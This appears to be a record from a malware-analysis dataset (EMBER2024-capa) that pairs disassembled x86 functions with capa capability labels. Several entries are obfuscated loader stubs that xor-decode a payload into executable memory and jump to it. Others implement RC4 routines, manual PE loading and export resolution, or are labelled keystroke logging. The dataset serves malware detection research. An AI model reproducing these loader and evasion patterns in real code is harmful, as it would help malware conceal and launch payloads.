joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100028f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x100028ff
pop dword [ebp - 0x18]
mov eax, 0x100028ff
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xecfb597d
sub dword [ebp - 0x28], 0x9ea91432
mov dword [ebp - 0x24], 0x736d7b97
sub dword [ebp - 0x24], 0x413a2f52
mov dword [ebp - 0x20], 0x964dce15
add dword [ebp - 0x20], 0xb5fe7619
mov dword [ebp - 0x1c], 0x6040f037
sub dword [ebp - 0x1c], 0x6040f037
lea eax, [ebp - 0x28]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xa54333c7
add dword [ebp - 0x28], 0xcf2f358f
mov dword [ebp - 0x24], 0x61e67454
sub dword [ebp - 0x24], 0x207a12df
mov dword [ebp - 0x20], 0x7cf94cf6
add dword [ebp - 0x20], 0xe6761f76
mov dword [ebp - 0x1c], 0x1d4ec844
sub dword [ebp - 0x1c], 0x1d4ec844
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x6c952ffb
sub eax, 0x5c8e1ff3
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x48a4f
push 0
call eax
mov ecx, 0x492ce558
sub ecx, 0x492c94bb
mov edx, eax
mov ebx, 0x100ac600
add ebx, dword [ebp - 0x18]
mov esi, 0x2045369e
sub esi, 0xb1497894
add dword [ebp - 0x14], 0x8ff1d40e
mov edi, dword [ebx]
mov dword [ebp - 0x10], 0x59a320c0
xor edi, esi
add dword [ebp - 4], 0x172ce94a
mov dword [edx], edi
xor dword [ebp - 0x10], 0x98df67e5
add edx, 4
add ebx, 4
loop 0x10002a11
add eax, 0x13547
xor ebx, ebx
add ebx, eax
add eax, 0x58b5e67
add eax, 0xfa74a19e
mov ecx, 0x10000000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x100043c0
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006534f
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
push edi
mov eax, dword [0x1009a8a0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [ebp + 8]
mov eax, esi
and eax, 0xe0000000
cmp eax, 0x20000000
jg 0x1000449c
je 0x10004497
cmp eax, 0x80000000
je 0x10004497
test eax, eax
jne 0x100044a3
lea ecx, [ebp - 0x2c]
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Variant::constructor_void_]
lea ecx, [ebp - 0x10]
mov dword [ebp - 4], 0
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Heap::constructor_void_]
mov eax, dword [0x1009bddc]
mov dword [ebp - 0x10], 0xa
mov ecx, dword [eax]
test ecx, ecx
je 0x1000444b
add ecx, 0x28
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Lock::acquire_void_]
mov ecx, dword [edi]
push esi
mov byte [ebp - 4], 1
call fcn.100028f0
push eax
lea ecx, [ebp - 0x2c]
call dword [sym.imp.ScCore.dll_public:_class_ScCore::Variant____thiscall_ScCore::Variant::operator_unsigned_short_int_const__]
mov eax, dword [0x1009bddc]
mov byte [ebp - 4], 2
mov ecx, dword [eax]
test ecx, ecx
je 0x1000447c
mov eax, dword [ebp - 0x10]
lea ecx, [ecx + eax*4]
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Lock::release_void_]
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0
call dword [sym.imp.ScCore.dll_public:_double___thiscall_ScCore::Variant::getDouble_void_const]
lea ecx, [ebp - 0x2c]
fstp qword [ebp - 0x14]
call dword [sym.imp.ScCore.dll_public:_void___thiscall_ScCore::Variant::destructor_void_]
jmp 0x100044bf
xorps xmm0, xmm0
jmp 0x100044ba
cmp eax, 0x40000000
je 0x100044af
and esi, 0x1fffffff
movd xmm0, esi
jmp 0x100044b6
movzx eax, si
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [ebp - 0x14], xmm0
fld qword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x403203
pop dword [ebp - 0x1c]
mov eax, 0x403203
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xec580ea7
sub dword [ebp - 0x2c], 0x9e05c95c
mov dword [ebp - 0x28], 0x349eec80
sub dword [ebp - 0x28], 0x26ba03b
mov dword [ebp - 0x24], 0x21b15f9e
sub dword [ebp - 0x24], 0xd5651b70
mov dword [ebp - 0x20], 0x7b4c4799
sub dword [ebp - 0x20], 0x7b4c4799
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x571d730e
sub eax, 0x56dd02aa
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x19427a2
add dword [ebp - 0x2c], 0x72de41b4
mov dword [ebp - 0x28], 0x8a55a99a
sub dword [ebp - 0x28], 0x48e94825
mov dword [ebp - 0x24], 0xac938ac4
sub dword [ebp - 0x24], 0x49241e58
mov dword [ebp - 0x20], 0xf2b6dba6
sub dword [ebp - 0x20], 0xf2b6dba6
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x2f1ae4b5
add eax, 0xd1258bf3
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x36fd1
push 0
call eax
mov ecx, 0xad11c587
sub ecx, 0xad117bf3
mov edi, eax
mov ebx, 0xf611bf3f
sub ebx, 0xf5d0bf3f
add ebx, dword [ebp - 0x1c]
mov edx, 0x325d1045
sub edx, 0xeb1ad4e3
xor dword [ebp - 4], edi
mov esi, dword [ebx]
add dword [ebp - 0xc], 0x2e048af9
add esi, edx
sub dword [ebp - 4], ecx
mov dword [edi], esi
add dword [ebp - 0x14], edi
add edi, 4
add ebx, 4
loop 0x403320
add eax, 0xac13e71
add eax, 0xf53fdab2
mov ebx, eax
add eax, 5
mov ecx, 0xf8c5ea92
sub ecx, 0xf885ea92
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x10001427
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10001440
mov eax, dword [sym.imp.USER32.dll_GetCaretBlinkTime]
call eax
mov dword [ebp - 0x14], eax
jmp 0x100014b4
mov eax, dword [ebp - 0x10]
mov ecx, 0xa53151
mov dword [ebp - 0xc], ecx
mov ecx, esp
lea edx, [ebp - 0xc]
mov dword [ecx + 8], edx
mov dword [ecx + 4], 0x2be
mov dword [ecx], 0xae00e1
mov ecx, dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov dword [ebp - 0x18], eax
call ecx
sub esp, 0xc
mov ecx, dword [sym.imp.KERNEL32.dll_SwitchToThread]
mov dword [ebp - 0x1c], eax
call ecx
mov ecx, dword [sym.imp.USER32.dll_GetInputState]
mov dword [ebp - 0x20], eax
call ecx
xor ecx, ecx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov ecx, 0xe
mov dword [ebp - 0x2c], eax
xor edx, edx
div ecx
cmp edx, 2
je 0x10001434
jmp 0x100014b4
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [ebp - 0x30], eax
jmp 0x10001574
mov eax, dword [ebp - 0x2c]
add eax, 1
cmp eax, 0x1b8
mov dword [ebp - 0x28], eax
je 0x100014cd
jmp 0x1000148c
add esp, 0x60
pop ebp
ret
mov eax, esp
mov dword [eax + 8], 0x6a4
mov dword [eax + 4], 0x833
mov dword [eax], 0x833
mov eax, dword [sym.imp.USER32.dll_AttachThreadInput]
call eax
sub esp, 0xc
mov ecx, dword [ebp - 0x18]
sub ecx, 0xc
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ecx
je 0x100014a5
jmp 0x100014fd
mov eax, dword [ebp - 0x18]
sub eax, 0x5b
mov dword [ebp - 0x3c], eax
jne 0x10001574
jmp 0x1000150a
mov byte [ebp - 5], 6
mov eax, esp
lea ecx, [ebp - 5]
mov dword [eax], ecx
mov dword [eax + 0x18], 0xf25
mov dword [eax + 0x14], 0xdb9
mov dword [eax + 0x10], 0x5a3
mov dword [eax + 0xc], 0x1ba
mov dword [eax + 8], 0x5a2
mov dword [eax + 4], 0x1ba
mov eax, dword [sym.imp.USER32.dll_CreateIconFromResourceEx]
call eax
sub esp, 0x1c
mov dword [ebp - 4], 0x59e
mov ecx, esp
lea edx, [ebp - 4]
mov dword [ecx + 4], edx
mov dword [ecx], 0xce68f5
mov ecx, dword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov dword [ebp - 0x40], eax
call ecx
sub esp, 8
mov dword [ebp - 0x44], eax
jmp 0x100014a5
mov eax, dword [ebp - 0x18]
add eax, 1
cmp eax, 0x10b
mov dword [ebp - 0x10], eax
je 0x100014c8
jmp 0x10001440
Function at 0x101aaf1c
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x24
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x101c0380], 0
mov byte [0x101c0384], 0
mov dword [0x101c0378], 0xdd8
mov dword [0x101c0374], 0x1867
mov dword [0x101c037c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x101ab039
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov edx, 0x100
mov dword [0x101c0388], 0
mov dword [ebp - 0x28], eax
mov eax, ecx
xor esi, esi
mov dword [ebp - 0x2c], edx
mov edx, esi
mov esi, dword [ebp - 0x10]
div esi
mov edi, dword [ebp - 0x28]
add edi, 0xfffff22e
mov ebx, dword [0x101c0380]
mov esi, dword [ebp - 0x18]
movzx esi, byte [esi + ecx]
add esi, ebx
mov ebx, dword [ebp - 0x14]
movzx edx, byte [ebx + edx]
add esi, edx
mov dword [0x101c0388], esi
mov dword [0x101c0374], edi
mov eax, esi
cdq
mov esi, dword [ebp - 0x2c]
idiv esi
mov dword [0x101c0380], edx
mov edi, dword [ebp - 0x18]
mov bl, byte [edi + ecx]
mov byte [0x101c0384], bl
mov dword [0x101c0374], 0x1300
mov bl, byte [edi + edx]
mov byte [edi + ecx], bl
mov bl, byte [0x101c0384]
mov ecx, dword [0x101c0380]
mov byte [edi + ecx], bl
mov ecx, dword [0x101c0378]
mov edx, ecx
add edx, 0xfffff3f9
mov dword [0x101c0374], edx
mov esi, dword [0x101c037c]
add esi, 1
mov dword [0x101c037c], esi
cmp esi, 0x100
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x20], edx
jl 0x101aaf70
jmp 0x101ab085
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x101c037c]
add eax, 1
mov dword [0x101c037c], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x101ab039
xor eax, eax
mov ecx, 0x1c52
mov dword [0x101c0374], 0x1c52
mov dword [0x101c037c], 0
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], ecx
jmp 0x101aaf70
mov eax, dword [ebp - 0x30]
add eax, 0xffffef7b
mov dword [0x101c0374], eax
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101ab8f0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x101c0378], 0xbaf
mov dword [0x101c0374], 0x77a
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], edx
jmp 0x101ab960
lea eax, [ebp - 0x20]
mov dword [0x101c0378], 0x8c2
mov dword [0x101c0374], 0x2310
mov dword [ebp - 0x30], eax
call fcn.101ab447
mov dword [esp], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
call fcn.101aacb3
xor ecx, ecx
cmp eax, 0
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ecx
je 0x101aba3c
jmp 0x101ab98c
mov eax, dword [ebp - 0x2c]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x101ad5e0]
mov dh, byte [eax + 0x101ad5b1]
sub dh, dl
mov byte [ebp + eax - 0x20], dh
cmp ecx, 0xe
mov dword [ebp - 0x2c], ecx
je 0x101ab91d
jmp 0x101ab960
mov eax, dword [ebp - 0x34]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov ecx, dword [0x101c0374]
add ecx, 0xffffee8b
mov dword [0x101c0374], ecx
mov dword [esp], eax
mov ecx, dword [ebp - 0x24]
mov dword [esp + 4], ecx
mov dword [ebp - 0x3c], eax
call fcn.101ab2fd
xor eax, eax
mov ecx, dword [ebp - 0x3c]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [0x101c0378], 0x322
mov dword [ecx + 0xd0], 0x4550
mov dword [0x101c0374], 0xfb1
add ecx, 0xffc00000
mov edx, dword [ebp - 0x28]
mov dword [edx + 0x18], ecx
mov ecx, dword [ebp - 0x3c]
mov dword [edx + 0xc], ecx
cmp ecx, 0
mov dword [ebp - 0x38], eax
je 0x101aba3c
mov eax, dword [0x101c0378]
mov ecx, dword [ebp - 0x3c]
add ecx, 0x275b
add eax, 0xfffff237
mov dword [0x101c0374], eax
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
add esp, 0x4c
pop ebp
ret
Function at 0x101abad0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x38
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
call fcn.101abf2a
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov esi, dword [eax + esi + 0x78]
mov dword [0x101c0374], 0xda3
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov dword [0x101c0378], 0xffffecc6
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ecx
je 0x101abc10
jmp 0x101abba7
xor eax, eax
mov ecx, dword [ebp - 0x28]
add ecx, 2
mov edx, dword [ebp - 0x2c]
add edx, 1
mov esi, dword [ebp - 0x18]
cmp edx, esi
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x24], eax
jb 0x101abbb9
jmp 0x101abc10
mov eax, dword [ebp - 0x38]
add eax, 1
mov cl, byte [ebp - 0x39]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x3a]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dword [ebp - 0x40], eax
jne 0x101abb7c
jmp 0x101abbd5
mov eax, dword [ebp - 0x40]
mov ecx, eax
mov edx, dword [ebp - 0x44]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x38], eax
mov byte [ebp - 0x39], bh
mov byte [ebp - 0x3a], cl
je 0x101abbd5
jmp 0x101abb52
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x34]
xor edx, edx
mov esi, dword [ebp - 0x14]
mov edi, dword [esi + ecx*4]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x40], edx
jmp 0x101abb7c
mov al, byte [ebp - 0x3a]
test al, 1
jne 0x101abbe1
jmp 0x101abb29
mov eax, dword [ebp - 0x28]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
add edx, dword [edx + esi + 0x1c]
mov ecx, dword [edx + ecx*4]
mov dword [0x101c0374], 0x47ea
mov edx, dword [ebp - 0x1c]
add edx, ecx
mov dword [0x101c0378], 0x114b
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
add esp, 0x38
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101abc1b
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x101c0378]
add eax, 0xfffffd5c
mov dword [0x101c0378], eax
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov dword [0x101c0374], 0x2650
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x101c0378], 0x129
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x101abcb3
mov eax, 0x29da
mov dword [0x101c0374], 0x13c5
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0x12], 0x64
mov dword [ebp - 0x18], eax
je 0x101abd54
jmp 0x101abd99
mov eax, dword [ebp - 0x1c]
add esp, 0x24
pop ebp
ret
mov eax, dword [ebp - 0x20]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x24], eax
jge 0x101abcc9
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], edx
jne 0x101abc9c
mov eax, dword [ebp - 0x24]
mov ecx, 0x35f0
mov dword [0x101c0374], 0x1fdb
mov edx, dword [ebp - 0xc]
cmp word [edx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
jne 0x101abd99
mov eax, 0x199d
mov dword [0x101c0374], 0x388
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0x18], 0x6f
mov dword [ebp - 0x18], eax
jne 0x101abd99
mov eax, 0x199d
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0x16], 0x61
mov dword [ebp - 0x18], eax
jne 0x101abd99
mov eax, 0xfffff9e7
mov dword [0x101c0374], 0xffffe3d2
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0x14], 0x64
mov dword [ebp - 0x18], eax
je 0x101abc6a
jmp 0x101abd99
mov eax, 0x29da
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0x10], 0x6c
mov dword [ebp - 0x18], eax
jne 0x101abd99
mov eax, 0x29da
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x18], eax
jne 0x101abd99
mov eax, 1
mov dword [0x101c0378], 0xfa2
mov dword [ebp - 0x1c], eax
jmp 0x101abc94
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov dword [0x101c0374], eax
mov dword [ebp - 0x1c], ecx
jmp 0x101abc94
Function at 0x101ac0b4
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x28
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x101c037c], 0
mov dword [0x101c0380], 0
mov dword [0x101c038c], 0
mov dword [0x101c0374], 0x2bc
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
je 0x101ac206
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
add eax, 1
mov edi, edx
add edi, 1
mov dword [ebp - 0x2c], edx
cdq
idiv esi
mov dword [0x101c037c], edx
mov dword [0x101c0374], 0x97e
mov ebx, dword [ebp - 0x20]
movzx ebx, byte [ebx + edx]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x101c0380], edx
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x30]
mov cl, byte [ecx + esi]
mov byte [0x101c0384], cl
mov ebx, dword [0x101c0378]
add ebx, 0xfffff27d
mov dword [0x101c0374], ebx
mov ebx, dword [ebp - 0x20]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x101c0384]
mov edx, dword [0x101c0380]
mov byte [ebx + edx], cl
mov edx, dword [0x101c037c]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x101c0380]
movzx ecx, byte [ebx + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x101c038c], ecx
mov dword [0x101c0374], 0x2e2
mov cl, byte [ebx + ecx]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x2c]
xor cl, byte [edx + esi]
mov edx, dword [ebp - 0x1c]
mov byte [edx + esi], cl
mov dword [0x101c0374], 0x130b
mov ecx, dword [ebp - 0x10]
cmp edi, ecx
mov dword [ebp - 0x34], edi
je 0x101ac206
mov eax, dword [0x101c037c]
mov ecx, dword [0x101c0380]
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x28], eax
jmp 0x101ac117
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101ac20e
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x80]
lea ecx, [esp + 0x20]
mov dword [0x101c0374], 0x1b4a
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.101ab5d1
lea ecx, [0x101aaecb]
mov edx, dword [esp + 0x80]
mov dword [esp + 0x60], edx
mov dword [esp + 0x5c], 0x13d600
mov dword [0x101c0378], 0x894
mov edx, dword [0x101c0360]
mov dword [esp + 0x24], edx
mov edx, dword [0x101c0364]
mov dword [esp + 0x48], edx
mov edx, dword [0x101c0368]
mov dword [esp + 0x68], edx
mov edx, dword [0x101c036c]
mov dword [esp + 0x74], edx
mov edx, dword [0x101c0370]
mov dword [esp + 0x20], edx
mov dword [0x101c0374], 0x1e0a
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
jmp 0x101ac319
lea eax, [esp + 0x20]
mov ecx, dword [esp + 0x88]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.101ab8f0
mov ecx, esp
lea edx, [esp + 0x20]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [0x101c0378], 0x5b1
mov dword [esp + 0x10], eax
jmp 0x101ac350
mov eax, dword [esp + 0xc]
mov dword [esp + 0x64], eax
mov dword [0x101c0378], 0xe2d
mov dword [0x101c0374], 0xf67
mov ecx, dword [esp + 8]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x40], edx
call fcn.101abc1b
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x10], ecx
je 0x101ac2a4
jmp 0x101ac350
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0xc], eax
jne 0x101ac33c
mov eax, dword [esp + 0xc]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 8], ecx
je 0x101ac2dd
mov eax, dword [esp + 0xc]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x101ac319
mov eax, dword [esp + 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x10001000
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, dword [esp + 8]
sub esp, 8
sub eax, 1
jne 0x10001084
lea eax, [esp]
push eax
push 1
push 0
push str.SOFTWARETP_LINK
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000106b
lea ecx, [esp + 4]
push ecx
lea edx, [esp + 0x14]
push edx
push eax
push eax
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x10]
push str.WJRaTraceLog
push eax
mov dword [esp + 0x1c], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10001061
mov ecx, dword [esp + 0x10]
and ecx, 1
mov dword [0x10035508], ecx
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp dword [0x10035508], eax
setne al
push eax
push str._WJRA_dllmain_done_g_bWriteLog_is__d_n
call fcn.1000e250
add esp, 8
mov eax, 1
add esp, 8
ret 0xc
Function at 0x10002a60
Capabilities:
Query service status

Disassembly:
sub esp, 0x1c
push esi
push 4
push 0
push 0
mov dword [ebx], 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
jne 0x10002a84
lea eax, [esi + 0xc]
pop esi
add esp, 0x1c
ret
push edi
push 4
push str.Wlansvc
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
je 0x10002ac9
lea eax, [esp + 8]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x10002ab5
xor ecx, ecx
cmp dword [esp + 0xc], 4
sete cl
mov dword [ebx], ecx
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push esi
call edi
pop edi
xor eax, eax
pop esi
add esp, 0x1c
ret
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
mov eax, 0xc
pop esi
add esp, 0x1c
ret